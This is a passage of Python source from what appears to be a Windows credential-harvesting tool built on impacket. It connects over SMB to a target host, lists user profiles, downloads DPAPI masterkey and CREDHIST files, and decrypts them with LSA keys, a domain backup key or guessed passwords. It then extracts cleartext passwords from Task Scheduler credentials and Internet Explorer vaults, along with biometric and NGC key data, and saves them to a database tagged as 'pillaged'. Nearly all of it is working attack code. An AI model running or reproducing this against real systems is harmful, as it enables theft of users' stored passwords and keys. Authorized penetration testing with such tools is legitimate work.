info+=f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
|
|
info+=f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
|
|
info+=f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
|
|
info+=f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
|
|
except Exception as ex:
|
|
self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
info+=f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
|
|
info+=f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
|
|
info+=f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
|
|
info+=f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
|
|
try:
|
|
info+=f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
|
|
password=decrypted_blob['Unknown3'].decode('utf-16le')
|
|
except UnicodeDecodeError:
|
|
info+=f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
|
|
password=decrypted_blob['Unknown3'].decode('latin-1')
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='taskscheduler',
|
|
credz_username=decrypted_blob['Username'].decode('utf-16le'),
|
|
credz_password=password,
|
|
credz_target=decrypted_blob['Target'].decode('utf-16le'),
|
|
credz_path=localfile,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
self.logging.debug(info)
|
|
return info
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def process_decrypted_vault(self,user,secret_file):#data ,user ,localfile,blob_type,args=[]):
|
|
try:
|
|
self.logging.debug(f"[{self.options.target_ip}] [+] process_decrypted_vault of {secret_file} {bcolors.ENDC}")
|
|
blob_type = secret_file['type']
|
|
localfile = secret_file['path']
|
|
data = secret_file['data']
|
|
|
|
if blob_type=='vault' or blob_type=='vcrd':
|
|
try:
|
|
vault_name = secret_file['vault_name']#args[0]
|
|
vault_type = secret_file['vault_type']#args[1]
|
|
self.logging.debug(f"Processing Vault {vault_name} - type : {vault_type} ")
|
|
print(vault_type)
|
|
if vault_type == 'WinBio Key':
|
|
data = self.dump_VAULT_WIN_BIO_KEY(user,localfile,data)
|
|
elif vault_type == 'NGC Local Account Logon Vault Credential':
|
|
data = self.dump_VAULT_NGC_LOCAL_ACCOOUNT(user,localfile,data)
|
|
elif "NGC" in vault_type :
|
|
data = self.dump_VAULT_NGC_ACCOOUNT(user,localfile,data)
|
|
elif vault_type == 'Internet Explorer':
|
|
data = self.dump_VAULT_INTERNET_EXPLORER(user,localfile,data)
|
|
self.logsecret(f"Vault {vault_name} : {data} ")
|
|
#user.secrets["Vault:%s" % vault_name] = data
|
|
secret_file['secret'] = data
|
|
self.dump_to_file(localfile, data)
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Except 1 process_decrypted_data Vault for {localfile} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Except 2 process_decrypted_data ALL for {localfile} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def dump_VAULT_INTERNET_EXPLORER(self,user,localfile,vault_blob):
|
|
try:
|
|
self.logging.debug("Formating VAULT_INTERNET_EXPLORER info")
|
|
retval = "[Internet Explorer]\n"
|
|
retval += f"Username : {vault_blob['Username'].decode('utf-16le')} \n"
|
|
retval += f"Resource : {vault_blob['Resource'].decode('utf-16le')} \n"
|
|
retval += f"Password : {vault_blob['Password'].decode('utf-16le')} : {hexlify(vault_blob['Password'])} \n"
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='browser-internet_explorer',
|
|
credz_username=f"{vault_blob['Username'].decode('utf-16le')}",
|
|
credz_password=f"{vault_blob['Password'].decode('utf-16le')}",
|
|
credz_target=f"{vault_blob['Resource'].decode('utf-16le')}",
|
|
credz_path=localfile,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
return retval
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_INTERNET_EXPLORER{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def dump_VAULT_WIN_BIO_KEY(self,user,localfile,vault_blob):
|
|
try:
|
|
self.logging.debug("Dumping VAULT_WIN_BIO_KEY info to file")
|
|
retval ="\n[WINDOWS BIOMETRIC KEY]\n"
|
|
retval +='Sid : %s\n' % RPC_SID(b'\x05\x00\x00\x00' + vault_blob['Sid']).formatCanonical()
|
|
retval +=f"Friendly Name: {vault_blob['Name'].decode('utf-16le')}\n"
|
|
retval +=f"Biometric Key: 0x{hexlify(vault_blob['BioKey']['bKey']).decode('latin-1')}\n"
|
|
return retval
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_WIN_BIO_KEY {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def dump_VAULT_NGC_LOCAL_ACCOOUNT(self,user,localfile,vault_blob):
|
|
try:
|
|
self.logging.debug("Dumping NGC_LOCAL_ACCOOUNT info to file")
|
|
retval ="\n[NGC LOCAL ACCOOUNT]\n"
|
|
retval +='UnlockKey : %s\n' % hexlify(vault_blob["UnlockKey"])
|
|
retval +='IV : %s\n' % hexlify(vault_blob["IV"])
|
|
retval +='CipherText : %s\n' % hexlify(vault_blob["CipherText"])
|
|
return retval
|
|
except Exception as ex:
|
|
self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_NGC_LOCAL_ACCOOUNT {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def dump_VAULT_NGC_ACCOOUNT(self,user,localfile,vault_blob):
|
|
try:
|
|
self.logging.debug("Dumping VAULT_NGC_ACCOOUNT info to file")
|
|
retval ="\n[NGC VAULT]\n"
|
|
retval +='Sid : %s\n' % RPC_SID(b'\x05\x00\x00\x00' + vault_blob['Sid']).formatCanonical()
|
|
retval +='Friendly Name: %s\n' % vault_blob['Name'].decode('utf-16le')
|
|
#A completer ?
|
|
vault_blob['Blob'].dump()
|
|
|
|
return retval
|
|
except Exception as ex:
|
|
self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_NGC_ACCOOUNT{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
|
|
|
|
|
|
def do_who(self):
|
|
#if self.loggedIn is False:
|
|
# self.logging.error("Not logged in")
|
|
# return
|
|
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc',
|
|
smb_connection=self.smb)
|
|
dce = rpctransport.get_dce_rpc()
|
|
dce.connect()
|
|
dce.bind(srvs.MSRPC_UUID_SRVS)
|
|
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)
|
|
|
|
for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
|
|
self.logging.info("host: %15s, user: %5s, active: %5d, idle: %5d" % (
|
|
session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'],
|
|
session['sesi10_idle_time']))
|
|
self.db.add_connected_user(username=session['sesi10_username'][:-1], ip=session['sesi10_cname'][:-1])
|
|
|
|
|
|
def get_users(self):
|
|
self.logging.debug("Listing Users by enumerating directories in $Share\\Users")
|
|
blacklist = ['.', '..', 'desktop.ini']
|
|
shares = self.myfileops.get_shares()
|
|
#Intégrer les users share du premier test
|
|
if 'C$' in shares: # Most likely
|
|
self.myfileops.do_use('C$')
|
|
#self.myfileops.pwd = 'Users'
|
|
completion=self.myfileops.do_ls('Users','*', display=False)
|
|
for infos in completion:
|
|
longname, is_directory = infos
|
|
if is_directory and longname not in blacklist:
|
|
for user in self.users:
|
|
if longname == user.username:
|
|
break
|
|
else:
|
|
self.users.append(MyUser(longname,self.logging,self.options))
|
|
self.logging.info(f"[{self.options.target_ip}] [+] Found user {bcolors.OKBLUE}{longname}{bcolors.ENDC}")
|
|
user=self.GetUserByName(longname)
|
|
self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip)
|
|
user.share='C$'
|
|
else:
|
|
for share in shares:
|
|
self.myfileops.do_use(share)
|
|
#self.pwd = 'Users'
|
|
completion=self.myfileops.do_ls('Users','*', display=False)
|
|
for infos in completion:
|
|
longname, is_directory = infos
|
|
if is_directory and longname not in blacklist:
|
|
for user in self.users:
|
|
if longname == user['username']:
|
|
break
|
|
else:
|
|
self.users.append(MyUser(longname,self.logging,self.options))
|
|
self.logging.debug(f"[{self.options.target_ip}] Found user {bcolors.OKBLUE}{longname}{bcolors.ENDC}")
|
|
user = self.GetUserByName(longname)
|
|
self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip)
|
|
user.share = share
|
|
#+ADD LOCAL MACHINE ACCOUNT
|
|
user = MyUser("MACHINE$", self.logging, self.options)
|
|
user.type = 'MACHINE'
|
|
user.share = 'C$'
|
|
self.users.append(user)
|
|
self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip)
|
|
return self.users
|
|
|
|
def get_masterkeys(self):
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering masterkeys on the target{bcolors.ENDC}")
|
|
blacklist = ['.', '..']
|
|
# self.get_shares()
|
|
#self.get_users()
|
|
for user in self.users:
|
|
if user.username != 'MACHINE$':
|
|
try:
|
|
tmp_pwd = ntpath.join(ntpath.join('Users', user.username),'AppData\\Roaming\\Microsoft\\Protect')
|
|
self.logging.debug(f"[{self.options.target_ip}] Looking for {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey in %s" % tmp_pwd)
|
|
my_directory = self.myfileops.do_ls(tmp_pwd,'', display=True)
|
|
for infos in my_directory:
|
|
try:
|
|
longname, is_directory = infos
|
|
if longname not in blacklist:
|
|
self.logging.debug(f"[{self.options.target_ip}] Analysing {longname} for Masterkeys")
|
|
if is_directory and longname[:2] == 'S-': # SID
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} - Found SID {longname}")
|
|
user.sid = longname
|
|
if user.sid.startswith('S-1-5-80'):
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.FAIL}{user.username}{bcolors.ENDC} - Found AD CONNECT SID {longname}")
|
|
user.is_adconnect = True
|
|
#user.check_usertype()
|
|
tmp_pwd2 = ntpath.join(tmp_pwd, longname)
|
|
my_directory2 = self.myfileops.do_ls(tmp_pwd2,'', display=False)
|
|
for infos2 in my_directory2:
|
|
longname2, is_directory2 = infos2
|
|
if not is_directory2 and is_guid(longname2): # GUID
|
|
self.download_masterkey(user, tmp_pwd2, longname2, type='USER')
|
|
elif is_directory:
|
|
self.logging.debug(f"[{self.options.target_ip}] Found Directory %s -> doing nothing" % longname)
|
|
else:
|
|
self.logging.debug(f"[{self.options.target_ip}] Found file %s" % longname)
|
|
if "CREDHIST" in longname:
|
|
self.download_credhist(user, tmp_pwd, longname, type='USER')
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in get_masterkeys for {longname}{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
continue
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception get_masterkeys{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
continue
|
|
##MACHINE MASTERKEYS
|
|
try:
|
|
user=self.GetUserByName('MACHINE$')
|
|
#Make a "MACHINE$" user
|
|
"""user=MyUser("MACHINE$",self.logging,self.options)
|
|
user.type='MACHINE'
|
|
self.users.append(user)"""
|
|
|
|
tmp_pwd = 'Windows\\System32\\Microsoft\\Protect'#Add Windows\ServiceProfiles\ADSync\AppData\Roaming\Microsoft\Protect\ for ADConnect ?
|
|
self.logging.debug(f"[{self.options.target_ip}] Looking for Machine Masterkey in %s" % tmp_pwd)
|
|
my_directory = self.myfileops.do_ls(tmp_pwd,'', display=False)
|
|
for infos in my_directory:
|
|
longname, is_directory = infos
|
|
if longname not in blacklist:
|
|
if is_directory and longname[:2] == 'S-': # SID
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} - Found SID {longname}")
|
|
user.sid = longname
|
|
if user.sid.startswith('S-1-5-80'):
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.FAIL}{user.username}{bcolors.ENDC} - Found AD CONNECT SID {longname}")
|
|
user.is_adconnect = True
|
|
tmp_pwd2 = ntpath.join(tmp_pwd, longname)
|
|
my_directory2 = self.myfileops.do_ls(tmp_pwd2,'', display=False)
|
|
for infos2 in my_directory2:
|
|
longname2, is_directory2 = infos2
|
|
if longname2 not in blacklist:
|
|
if not is_directory2 and is_guid(longname2): # GUID
|
|
# Downloading file
|
|
self.download_masterkey(user, tmp_pwd2, longname2, type='MACHINE')
|
|
elif is_directory2 and longname2=='User': #On se limite a ca pour le moment
|
|
tmp_pwd3 = ntpath.join(tmp_pwd2, longname2)
|
|
my_directory3 = self.myfileops.do_ls(tmp_pwd3,'', display=False)
|
|
for infos3 in my_directory3:
|
|
longname3, is_directory3 = infos3
|
|
if longname3 not in blacklist:
|
|
if not is_directory3 and is_guid(longname3): # GUID
|
|
self.logging.debug(f"[{self.options.target_ip}] {user.username} - Found GUID {longname3}")
|
|
# Downloading file
|
|
self.download_masterkey(user, tmp_pwd3, longname3, type='MACHINE-USER')
|
|
else:
|
|
self.logging.debug(
|
|
"Found unexpected file/directory %s in %s" % (tmp_pwd3, longname3))
|
|
else:
|
|
self.logging.debug("Found unexpected file/directory %s in %s"%(tmp_pwd2,longname2))
|
|
elif is_directory:
|
|
self.logging.debug("Found (not SID) Directory %s" % longname)
|
|
else:
|
|
self.logging.debug("Found file %s" % longname)
|
|
if "CREDHIST" in longname:
|
|
self.download_credhist(user, tmp_pwd, longname, type='MACHINE')
|
|
|
|
except Exception as ex:
|
|
self.logging.error(f"[{self.options.target_ip}] {bcolors.FAIL}Error in GetMasterkey (Machine){bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Gathered Masterkeys for {len(self.users)} users{bcolors.ENDC}")
|
|
|
|
def download_credhist(self,user, tmp_pwd, longname, type='MACHINE'):
|
|
# Downloading file
|
|
try:
|
|
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [...] Downloading CREDHIST {user.username} {tmp_pwd} {longname}")
|
|
#from lib.dpapi_pick.credhist import CredHistFile
|
|
#localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname))
|
|
'''f=open(localfile,'rb')
|
|
credhistdata = f.read()
|
|
f.close()
|
|
myCredhistfile = CredHistFile(raw=credhistdata)
|
|
|
|
print(repr(myCredhistfile))
|
|
#myCredhistfile = CredHistFile(raw=credhistdata)
|
|
for username in self.options.credz:
|
|
if username in user.username: # pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ?
|
|
self.logging.debug(f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[username])} credz for user {user.username} CREDHIST")
|
|
for password in self.options.credz[username]:
|
|
ret=myCredhistfile.decryptWithPassword(password)
|
|
print(ret)
|
|
'''
|
|
except Exception as ex:
|
|
self.logging.error(f"[{self.options.target_ip}] {bcolors.FAIL}Error in Decrypting Credhist{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
|
|
|
|
|
|
def download_masterkey(self,user,path,guid,type):
|
|
guid=guid.lower()
|
|
if is_guid(guid):
|
|
self.logging.debug(f"[{self.options.target_ip}] {user.username} - Found GUID {guid}")
|
|
# Downloading file
|
|
localfile = self.myfileops.get_file(ntpath.join(path, guid))
|
|
#Get Type and hash
|
|
try:
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.sid = user.sid
|
|
myoptions.username = user.username
|
|
myoptions.pvk = None
|
|
myoptions.file = localfile # Masterkeyfile to parse
|
|
#myoptions.key = key.decode("utf-8")
|
|
mydpapi = DPAPI(myoptions, self.logging)
|
|
if self.options.GetHashes == True:
|
|
masterkey_hash,is_domain_sid = mydpapi.get_masterkey_hash(generate_hash=True)
|
|
else :
|
|
masterkey_hash, is_domain_sid = mydpapi.get_masterkey_hash(generate_hash=False)
|
|
except Exception as ex:
|
|
self.logging.error(f"[{self.options.target_ip}] {bcolors.FAIL}Error in DownloadMasterkey - get_masterkey_hash{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
try:
|
|
user.masterkeys_file[guid]={}
|
|
user.masterkeys_file[guid]['path'] = localfile
|
|
user.masterkeys_file[guid]['status'] = 'encrypted'
|
|
if self.options.GetHashes == True:
|
|
user.masterkeys_file[guid]['hash'] = masterkey_hash
|
|
if is_domain_sid :
|
|
type='DOMAIN'
|
|
user.type_validated = True
|
|
user.type = type #LOCAL,DOMAIN,MACHINE,MACHINE-USER
|
|
self.db.add_sid(username=user.username,sid=user.sid)
|
|
self.db.add_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,status=user.masterkeys_file[guid]['status'],pillaged_from_computer_ip=self.options.target_ip,pillaged_from_username=user.username)
|
|
if self.options.GetHashes == True:
|
|
for hash in user.masterkeys_file[guid]['hash']:
|
|
self.db.add_dpapi_hash(file_path=user.masterkeys_file[guid]['path'], sid=user.sid, guid=guid, hash=hash, context=type, pillaged_from_computer_ip=self.options.target_ip)
|
|
except Exception as ex:
|
|
self.logging.error(f"[{self.options.target_ip}] {bcolors.FAIL}Error in Database entry - download_masterkey_hash{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def get_masterkey(self,user,guid,type):
|
|
guid=guid.lower()
|
|
if guid not in user.masterkeys_file :
|
|
self.logging.debug( f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found")
|
|
return -1
|
|
else:
|
|
self.logging.debug(f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} Found")
|
|
if user.masterkeys_file[guid]['status'] == 'decrypted':
|
|
self.logging.debug(f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted")
|
|
return user.masterkeys_file[guid]
|
|
elif user.masterkeys_file[guid]['status'] == 'encrypted':
|
|
return self.decrypt_masterkey(user,guid,type)
|
|
|
|
|
|
def decrypt_masterkey(self,user,guid,type=''):
|
|
self.logging.debug(f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} of type {type} (type_validated={user.type_validated}/user.type={user.type})")
|
|
guid=guid.lower()
|
|
if guid not in user.masterkeys_file :
|
|
self.logging.debug( f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found")
|
|
return -1
|
|
localfile=user.masterkeys_file[guid]['path']
|
|
|
|
if user.masterkeys_file[guid]['status'] == 'decrypted':
|
|
self.logging.debug(f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted")
|
|
return user.masterkeys_file[guid]
|
|
else:
|
|
if user.type_validated == True:
|
|
type=user.type
|
|
|
|
if type == 'MACHINE':
|
|
# Try de decrypt masterkey file
|
|
for key in self.machine_key:
|
|
self.logging.debug(f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE_Key from LSA {key.decode('utf-8')}")
|
|
try:
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.sid=None#user.sid
|
|
myoptions.username=user.username
|
|
myoptions.pvk = None
|
|
myoptions.file = localfile # Masterkeyfile to parse
|
|
myoptions.key = key.decode("utf-8")
|
|
mydpapi = DPAPI(myoptions,self.logging)
|
|
decrypted_masterkey = mydpapi.decrypt_masterkey()
|
|
if decrypted_masterkey!= None and decrypted_masterkey!= -1:
|
|
#self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}[...] Maserkey {bcolors.ENDC}{localfile} {bcolors.ENDC}: {decrypted_masterkey}" )
|
|
user.masterkeys_file[guid]['status'] = 'decrypted'
|
|
user.masterkeys_file[guid]['key'] = decrypted_masterkey
|
|
#user.masterkeys[localfile] = decrypted_masterkey
|
|
user.type='MACHINE'
|
|
user.type_validated = True
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
|
|
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
|
|
status=user.masterkeys_file[guid]['status'],decrypted_with="MACHINE-KEY",decrypted_value=decrypted_masterkey,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
return user.masterkeys_file[guid]
|
|
else:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}")
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
else:
|
|
#if user.type_validated == False:
|
|
self.decrypt_masterkey(user, guid, type='MACHINE-USER')
|
|
|
|
elif type == 'MACHINE-USER':
|
|
# Try de decrypt masterkey file
|
|
for key in self.user_key:
|
|
self.logging.debug(f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE-USER_Key from LSA {key.decode('utf-8')}")#and SID %s , user.sid ))
|
|
try:
|
|
#key1, key2 = deriveKeysFromUserkey(tsid, userkey)
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = localfile # Masterkeyfile to parse
|
|
if user.is_adconnect is True:
|
|
myoptions.key = key.decode("utf-8")
|
|
myoptions.sid = user.sid
|
|
else :
|
|
myoptions.key = key.decode("utf-8")#None
|
|
myoptions.sid = None#user.sid
|
|
|
|
myoptions.username = user.username
|
|
myoptions.pvk = None
|
|
mydpapi = DPAPI(myoptions,self.logging)
|
|
decrypted_masterkey = mydpapi.decrypt_masterkey()
|
|
if decrypted_masterkey != -1 and decrypted_masterkey!=None:
|
|
#self.logging.debug(f"[{self.options.target_ip}] Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}")
|
|
user.masterkeys_file[guid]['status'] = 'decrypted'
|
|
user.masterkeys_file[guid]['key'] = decrypted_masterkey
|
|
#user.masterkeys[localfile] = decrypted_masterkey
|
|
user.type = 'MACHINE-USER'
|
|
user.type_validated = True
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
|
|
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
|
|
status=user.masterkeys_file[guid]['status'],
|
|
decrypted_with="MACHINE-USER", decrypted_value=decrypted_masterkey,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
return user.masterkeys_file[guid]
|
|
else:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}")
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
else:
|
|
if user.type_validated == False and not user.is_adconnect:
|
|
return self.decrypt_masterkey(user, guid, type='DOMAIN')
|
|
|
|
elif type=='DOMAIN' and self.options.pvk is not None :
|
|
#For ADConnect
|
|
if user.is_adconnect is True:
|
|
return self.decrypt_masterkey(user, guid, type='MACHINE-USER')
|
|
# Try de decrypt masterkey file
|
|
self.logging.debug(f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey {self.options.pvk}")
|
|
try:
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = localfile # Masterkeyfile to parse
|
|
myoptions.username = user.username
|
|
myoptions.sid = user.sid
|
|
mydpapi = DPAPI(myoptions,self.logging)
|
|
decrypted_masterkey = mydpapi.decrypt_masterkey()
|
|
if decrypted_masterkey != -1 and decrypted_masterkey!=None:
|
|
#self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: %s" % decrypted_masterkey)
|
|
user.masterkeys_file[guid]['status'] = 'decrypted'
|
|
user.masterkeys_file[guid]['key'] = decrypted_masterkey
|
|
#user.masterkeys[localfile] = decrypted_masterkey
|
|
user.type = 'DOMAIN'
|
|
user.type_validated = True
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for user {bcolors.OKBLUE} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
|
|
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
|
|
status=user.masterkeys_file[guid]['status'], decrypted_with="DOMAIN-PVK",
|
|
decrypted_value=decrypted_masterkey,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
return user.masterkeys_file[guid]
|
|
else:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Domain Backupkey {self.options.pvk} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid} -> Checking with Local user with credz{bcolors.ENDC}")
|
|
if user.type_validated == False:
|
|
return self.decrypt_masterkey(user, guid, 'LOCAL')
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey (most likely user is only local user) -> Running for Local user with credz{bcolors.ENDC}")
|
|
self.logging.debug(f"exception was : {ex}")
|
|
if user.type_validated == False:
|
|
return self.decrypt_masterkey(user, guid, 'LOCAL')
|
|
|
|
#type==LOCAL
|
|
# On a des credz
|
|
if len(self.options.credz) > 0 and user.masterkeys_file[guid]['status'] != 'decrypted': #localfile not in user.masterkeys:
|
|
self.logging.debug(f"[{self.options.target_ip}] [...] Testing decoding {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with credz")
|
|
for username in self.options.credz:
|
|
if username.lower() in user.username.lower() :#pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ?
|
|
#self.logging.debug(f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[username])} credz for user {user.username}")
|
|
#for test_cred in self.options.credz[user.username]:
|
|
try:
|
|
self.logging.debug(f"[{self.options.target_ip}]Trying to decrypt {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with user SID {user.sid} and {len(self.options.credz[username])}credential(s) from credz file")
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = localfile # Masterkeyfile to parse
|
|
#myoptions.password = self.options.credz[username]
|
|
myoptions.sid = user.sid
|
|
myoptions.pvk = None
|
|
myoptions.key = None
|
|
mydpapi = DPAPI(myoptions,self.logging)
|
|
decrypted_masterkey = mydpapi.decrypt_masterkey(passwords=self.options.credz[username])
|
|
if decrypted_masterkey != -1 and decrypted_masterkey!=None:
|
|
#self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}")
|
|
user.masterkeys_file[guid]['status'] = 'decrypted'
|
|
user.masterkeys_file[guid]['key'] = decrypted_masterkey
|
|
#user.masterkeys[localfile] = decrypted_masterkey
|
|
user.type = 'LOCAL'
|
|
user.type_validated = True
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for User {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
|
|
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
|
|
status=user.masterkeys_file[guid]['status'],
|
|
decrypted_with=f"Password:{self.options.credz[username]}", decrypted_value=decrypted_masterkey,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
return user.masterkeys_file[guid]
|
|
else :
|
|
self.logging.debug(f"[{self.options.target_ip}] error decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with {len(self.options.credz[username])} passwords from user {username} in cred list")
